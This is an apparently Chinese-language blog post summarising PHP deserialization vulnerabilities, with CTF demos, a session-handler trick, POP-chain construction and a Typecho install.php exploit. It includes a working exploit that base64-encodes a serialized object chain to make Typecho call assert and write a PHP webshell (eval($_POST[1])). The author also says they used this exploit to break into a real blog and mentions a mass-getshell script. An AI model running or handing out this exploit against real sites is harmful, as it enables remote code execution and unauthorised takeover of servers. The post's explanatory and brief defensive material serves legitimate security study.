PHP反序列化总结

起因:最近日站的时候,对一个typecho博客经历几番波折之后,最后找了个typecho反序列化漏洞的exp、写了个webshell..开心的不得了…带着对反序列化漏洞满满的好奇心学习了一番。
批量getshell脚本已发布:github

0x01:相关基础:

1.序列化和反序列化相关知识:

1.1什么是(反)序列化:

序列化是将变量(对象)转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。

1.2php(反)序列化常见的函数:

Serialize、Unserialize、json_encode、json_decode。

1.3序列化之后的格式:

a - array:

1
2
a:<length>:{key,value pairs}
a:1:{i:1;s:1:"a";}

b - boolean:

d - double

i - integer

o - object:

1
2
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;} //说明person对象中name属性为Null、age属性为19,sex属性为Null

s - string

1
2
s:length:"value";
s:1:"a";

N - null

1
N;

2.php对象常见的魔幻函数

  • __construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
  • __destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
  • __toString:当对象被当做一个字符串使用时调用。
  • __sleep:序列化对象之前就调用此方法(其返回需要一个数组)
  • __wakeup:反序列化恢复对象之前调用该方法
  • __call:当调用对象中不存在的方法会自动调用该方法。
  • __get:在调用私有属性的时候会自动执行

更多见:https://php.net/manual/zh/language.oop5.magic.php

测试:

3.php_session序列化和反序列化相关知识

3.1 php_session处理器
  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
    设置方式:在php_ini中session.serialize_handler(PHP_INI_ALL) 设置,
    也可以在代码中设置:
    1
    ini_set('session.serialize_handler', 'php');

各类存储方式示例:
代码:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
?>

当我传入?a=O:4:”pass”:0:{}时:

  • php处理器存储的为:a|s:15:”O:4:”pass”:0:{}”;
  • php_serialize处理器存储的为:a:1:{s:1:”a”;s:15:”O:4:”pass”:0:{}”;}
  • php_binary处理器存储的为:(乱码了..自己测试吧)
3.2.php_ini中与php_session相关的配置知识
  • session.save_path = “” //设置session的存储路径
  • session.auto_start = boolen //指定会话模块是否在请求开始时启动一个会话,默认0(不启动)
  • session.serialize_handler = string //指定序列化、反序列化处理器

0x02.常见的漏洞:

1 将传来的序列化unserilize,造成魔幻函数执行。

demo1:

由bugku的一个题启发而写的一个缩略版的demo,原题链接:https://120.24.86.145:8006/test1/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");
}
}
}
$password = unserialize($_GET['password']);
echo $password;
</script>

关键点:当对象被当作字符串使用时调用__tostring()魔幻函数,所以如果我们给password传入一个序列化的对象,那么echo $password 就会调用魔幻函数。
构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");
}
}
}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>

生成:

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后读出flag.php

demo2:

1
2
3
4
5
6
7
8
9
10
11
<script language="php">
class Flag{ //flag.php
public $file;
public function __wakeup(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
}
}
unserialize($_GET['password']);
</script>

这个例子是利用的反序列化恢复对象之前会调用__wakeup(),所以构造payload方法和demo1中一样。
将拿到的序列化字符传入:

1
https://localhost:9096/test1.php?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

即可得到flag.php中的文件

当然还有其他魔幻函数:__construct、__destruct都行

总的来说
①:有可控的数据被反序列化
②:有魔幻函数中敏感代码被执行。

2 php session处理器设置不当的漏洞。

起源于一道CTF,题目传送门:https://web.jarvisoj.com:32784/

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

第一眼看到这个题的时候很懵逼…. 没有数据可以输入的地方…然后琢磨了一下wp….. 感觉发现了新大陆…

从phpinfo中可以发现

1
session.serialize_handler = php_serilize

而代码中设置的

1
ini_set('session.serialize_handler''php');

从上文介绍相关处理器的时候可以知道:
PHP处理器:a为session的键名,|后面为经过serialize处理的键值

而php_serialize处理器:

这其中php_serialize有一个特性,就是可以在字符串变量中储存 | 符号,然后当我们以php_serialize
格式存入|O:4:”pass”:0:{}

再以php处理器处理:即变成了
[“a:1:{s:1:”a”;s:16:””]为键名,test对象为值。

demo3(上述过程具体实现代码):

1
2
3
4
5
<?php
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

实现步骤:
1.设置php_ini中的session.serialize_handler = php_serialize,访问https://localhost:9096/test1.php?a=|O:4:"test":0:{},即写入session。
2.将上述代码注释去掉,并给$_SESSION[‘a’] = $_GET[‘a’];加上注释,即可看到php和php_serialize处理|的漏洞。

所以这里就可以利用这个特性给网页传入一个构造的php_serialize格式的session,
然后让php解析器将|后的数据解析成”值”,以达到代码执行目的。
然后我们利用这个特点写入一个session(以php_serialize格式),然后让该页面以php方式处理,从而给$mdzz赋值,获取敏感信息。
demo4:
test1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('session.serialize_handler', 'php');
session_start();
//$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
class Test{
function __construct(){
echo "__constrct";
}
function __destruct(){
echo "__destruct";
eval(phpinfo());
}
}
?>

本地事先存储了以php_serilize格式的session:a:1:{s:1:”a”;s:16:”|O:4:”Test”:0:{}
然后访问test1.php

正好符合上述题目中的eval函数中的代码执行

总的来说
其实这种漏洞就是session序列化及反序列化处理器设置不当造成。本质上是它们对处理“|”的差异造成。如果以php_serilize方式存入,比如我们构造出’|’ 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(’|’之前当作键名,’|’之后当作键值)
其次如果想要利用的话,就是找到注入点,将我们构造的session注入进去。

其实我还是有点疑问的
那么为什么php处理器处理的时候会执行session中的值呢?
猜想:与session_start或者php处理器有关
暂时还没有捣鼓出来…

0x03.如何寻找注入点将数据注入到session

上面说的那个CTF题原理已经知道了,但是并不知道从哪注入session。
就我了解的而言,有以下几种写入session的途径

1.通过配置不当造成的session可控

参考:https://bugs.php.net/bug.php?id=71101
当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候
PHP会将文件名保存在$_SESSION中
所以构造一个提交文件的表单:

1
2
3
4
5
<form action =“https://web.jarvisoj.com:32784/index.php”method =“POST”enctype =“multipart/form-data”>
<input type =“hidden”name =“PHP_SESSION_UPLOAD_PROGRESS”value =“1”/>
<input type =“file”name =“file”/>
<input type =“submit”/>
</form>

然后构造一个序列化的数据:

1
2
3
4
5
6
7
8
9
<?php
ini_set('session.serialize.handler','php');
session_start();
class OowoO{
public $mdzz = 'payload';
}
$obj = new OowoO();
echo serialize($obj);
?>

即可使得析构函数中的eval()执行任意代码。

0x04:构造注入链:pop

1.POP链原理简介:

在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种
漏洞利用方法叫”面向属性编程”,即POP( Property Oriented Programming)。
在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,
而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。

试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类
魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。
这个时候就需要构造一个链,链接到我们需要执行的函数eval()。

demo5(模拟了一个简单的场景):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class OowoO
{
protected $obj;
function __destruct()
{
//$obj = new test1; 这里可以控制$obj为任意对象
$this->obj->a();
}
}

class test1{
function a(){
echo "123";
}
}

class test2{
private $data;
function a(){
eval($this->data);
}
}
unserialize($_GET['a']);
?>

利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
<script language="php">
class OowoO{
protected $obj;

public function __construct(){
$this->obj = new test2();
}
}
class test2{
private $data = "phpinfo();";
}
echo urlencode(serialize(new OowoO()));
</script>

结果:

值得注意的是,反序列化可以控制类的属性,无论private还是public。
但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空
字节,所以记得urlencode一下,payload才会生效。
demo6:

1
2
3
4
5
6
7
8
9
<?php
class test{
private $a="a";
protected $b="b";
public $c="c";
}

echo urlencode(serialize(new test()));
?>

总的来说:如果魔幻函数中没有漏洞利用点,但是他调用了其他对象(意味着实例化了该对象)中的方法A,
由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。

2.typecho反序列化漏洞分析:

漏洞文件为根目录下的install.php,第283行:

1
2
3
4
5
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
$type = explode('_', $config['adapter']);
$type = array_pop($type);
$installDb = new Typecho_Db($config['adapter'], $config['prefix']);
$installDb->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

从cookie中将__typecho_config的值取出,然后在Typecho_Db中实例化。这里就是漏洞的注入点,
下面就需要找到漏洞的利用点,接着搜寻魔幻函数 __construct、__destruct、__wakeup。

在/var/Typecho/Db.php中Typecho_Db类,代码第114行,找到一个__construct(1)可以利用,因为$adapterName变量存在字符串拼接
如果给它反序列化传入一个对象的话,会调用 __tostring函数(如果存在的话)。

1
2
3
4
public function __construct($adapterName, $prefix = 'typecho_')
{
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

可以发现在同文件下的第134行,实例化了$adapterName,会调用__tostring(2)

1
$this->_adapter = new $adapterName();

全局搜索__tostring后,在/var/Typecho/Feed.php中Typecho_Feed类可以发现__tostring(2)方法:290行:

1
2
3
4
5
6
7
8
9
10
11
foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;

在该段代码的倒数第三行中,如果构造$item[‘author’]是一个对象,screenName是其私有属性,
则会调用__get(3)方法。

然后在/var/Typecho/Request.php中Typecho_Request类中 __get(3)方法:226行

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

调用了get方法:295行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

跟进一下_applyFilter(),在该文件的159行:

1
2
3
4
5
6
7
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

调用了call_user_func($filter,$value)函数,找到了可以利用的点了。

反过来分析:
回溯查看一下$value变量的来源:由Typecho_Request类中的$_params传入。
然后$filter在代码的120行有定义:

1
private $_filter = array();

所以可以直接对该属性赋值。

再来考虑一下如何触发__get(3)方法:

然后就可以把$_items数组所在的Typecho_Feed类,实例化传给$adapter,从而触发\_tostring(2),然后__construct(1)
自动执行,即构成了完整的一条攻击链。

总的来说,现在就很好理解这些数组的嵌套关系了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Array
(
[adapter] => Typecho_Feed Object
(
[_type:Typecho_Feed:private] => RSS 2.0
[_version:Typecho_Feed:private] => 1
[_charset:Typecho_Feed:private] => UTF-8
[_lang:Typecho_Feed:private] => en
[_items:Typecho_Feed:private] => Array //$_itemss数组
(
[0] => Array //$item数组
(
[author] => Typecho_Request Object //$item['author']赋予一个对象值,触发__get()
(
[_params:Typecho_Request:private] => Array
(
[screenName] => file_put_contents('Passer6y.php', '<?php eval($_POST[1]);?>')
)

[_filter:Typecho_Request:private] => Array
(
[0] => assert
)

)

)

)

)

[prefix] => th1s
)

EXP(copy from Ph0rse大佬):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//当__get方法执行时,使用assert函数调用file_put_contents函数,写入木马
class Typecho_Request{
private $_params = array('screenName' => "file_put_contents('Passer6y.php', '<?php eval(\$_POST[1]);?>')");
private $_filter = array('assert');
}

//构造Feed类,使__get方法执行
class Typecho_Feed{
const RSS2 = "RSS 2.0";

private $_type;
private $_version;
private $_charset;
private $_lang;
private $_items = array();

public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}

public function addItem(array $item){
$this->_items[] = $item;
}
}

$class1 = new Typecho_Feed(1);
$class2 = new Typecho_Request();
$class1->addItem(array('author' => $class2));
$exp = array('adapter' => $class1, 'prefix' => 'th1s');
echo base64_encode(serialize($exp));
?>

0x05.如何防御

1.过滤:试想一下,当unserialize执行的时候,会调用自动__wakeup魔幻函数,
我们可以利用这点,对用户可控的数据进行严格过滤,使之不能成功控制属性值。

2.使用get_included_files函数查看是否有漏洞的类被包含了

3.尽量使用json_endcode/json_decode来取代

参考资料:

1.漏洞分析之Typecho二连爆
2.PHP序列化
3.一道反序列化CTF引起的思考
4.POP链的构造
5.PHP中SESSION反序列化机制详解
6.Typecho反序列化漏洞导致前台getshell
7.通过PHP反序列化进行远程代码执行
8.POP链和序列化,反序列化操作
9.php对象注入总结
10.PHP反序列化漏洞成因及漏洞挖掘技巧与案例